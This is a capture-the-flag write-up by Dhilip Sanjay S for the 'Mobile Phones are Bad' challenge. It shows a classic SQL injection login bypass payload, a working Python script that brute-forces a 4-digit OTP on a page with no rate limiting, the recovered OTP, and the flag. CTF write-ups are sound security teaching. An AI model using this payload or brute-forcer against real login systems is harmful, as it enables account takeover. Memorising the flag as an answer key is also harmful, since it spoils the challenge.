> For the complete documentation index, see [llms.txt](https://blog.dhilipsanjay.in/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.dhilipsanjay.in/ctfs/2021-ctfs/gurugramcyberheist/mobilephonesarebad.md).
# Mobile Phones are Bad
**Date:** 04, July, 2021
**Author:** Dhilip Sanjay S
***
* The hacker said, Gurugram Interns are intelligent enough to get through this challenge. `https://mudpmd.hackingbrawl.com/`
### Let's brush some database
* **Answer:** ctf{youdidit}
* **Hint:** Well admin will receive otp of 4 digits.
* **Steps to Reproduce:**
* Use a basic SQL injection payload to bypass the login.
* Error based SQLi
* username: `' or '1=1`
* password: `' or '1=1`
* We have the OTP Verification page - without rate limiting.
* We can bruteforce the OTP!
* Bruteforcing Python script:
```py
#! /usr/bin/python3
import requests
url = 'https://mudpmd.hackingbrawl.com/validate_login.php'
req = requests.Session()
for num in range(1000, 10000):
try:
print("[+] Guessing ", num)
data = {
'code' : num,
'btnValidate' : ''
}
r = req.post(url, data=data, timeout=5)
if "Invalid Authentication Code!" not in r.text:
print(r.text)
exit(0)
except requests.Timeout as err:
print("Error occurred")
break
```
* The OTP is **7621**:
```html
[..snip..]
[+] Guessing 7621
Hackershala OTP BYPASS : User Profile
```
***
---
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